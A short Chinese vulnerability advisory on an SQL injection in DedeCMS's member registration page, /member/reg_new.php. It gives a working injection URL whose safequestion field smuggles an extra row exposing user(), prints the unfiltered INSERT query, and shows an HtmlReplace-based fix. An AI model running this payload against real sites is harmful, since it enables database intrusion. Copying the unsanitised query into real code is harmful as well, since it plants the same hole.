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dedecms织梦 /member/reg_new.php SQL注入漏洞

织梦园模板 / 2019-06-15 / 收藏
1. 漏洞描述
 
Dedecms会员中心注入漏洞
 
2. 漏洞触发条件
/member/reg_new.php?dopost=regbase&step=1&mtype=%B8%F6%C8%CB&mtype=%B8%F6%C8%CB&userid=123asd123&uname=12asd13123&userpwd=123123&userpwdok=123123&email=1213asd123%40QQ.COM&safequestion=1','1111111111111','1389701121','127.0.0.1','1389701121','127.0.0.1'),('个人',user(),'4297f44b13955235245b2497399d7a93','12as11111111111111111d13123','','10','0','[email protected]','100', '0','-10','','1&safeanswer=1111111111111&sex=&vdcode=slum&agree=
//把vdcode=slum改成当前的验证码

3. 漏洞影响范围
 
4. 漏洞代码分析
 
/member/reg_new.php
$jointime = time();
$logintime = time();
$joinip = GetIP();
$loginip = GetIP();
$pwd = md5($userpwd);
 
$spaceSta = ($cfg_mb_spacesta < 0 ? $cfg_mb_spacesta : 0);
 
//未对$mtype、$safeanswer、$safequestion进行有效过滤就带入SQL查询
$inQuery = "INSERT INTO `dede_member` (`mtype` ,`userid` ,`pwd` ,`uname` ,`sex` ,`rank` ,`money` ,`email` ,`scores` ,
`matt`, `spacesta` ,`face`,`safequestion`,`safeanswer` ,`jointime` ,`joinip` ,`logintime` ,`loginip` )
VALUES ('$mtype','$userid','$pwd','$uname','$sex','10','$dfmoney','$email','$dfscores',
'0','$spaceSta','','$safequestion','$safeanswer','$jointime','$joinip','$logintime','$loginip'); ";
 
if($dsql->ExecuteNoneQuery($inQuery))

5. 防御方法
 
/member/reg_new.php
	$jointime = time();
$logintime = time();
$joinip = GetIP();
$loginip = GetIP();
$pwd = md5($userpwd);
/* 对$mtype、$safeanswer、$safequestion进行有效过滤 */
    $mtype = HtmlReplace($mtype,1);
    $safeanswer = HtmlReplace($safeanswer);
    $safequestion = HtmlReplace($safequestion);
/* */
 
$spaceSta = ($cfg_mb_spacesta < 0 ? $cfg_mb_spacesta : 0);
 
$inQuery = "INSERT INTO `dede_member` (`mtype` ,`userid` ,`pwd` ,`uname` ,`sex` ,`rank` ,`money` ,`email` ,`scores` ,
`matt`, `spacesta` ,`face`,`safequestion`,`safeanswer` ,`jointime` ,`joinip` ,`logintime` ,`loginip` )
VALUES ('$mtype','$userid','$pwd','$uname','$sex','10','$dfmoney','$email','$dfscores',
'0','$spaceSta','','$safequestion','$safeanswer','$jointime','$joinip','$logintime','$loginip'); ";
if($dsql->ExecuteNoneQuery($inQuery))
{

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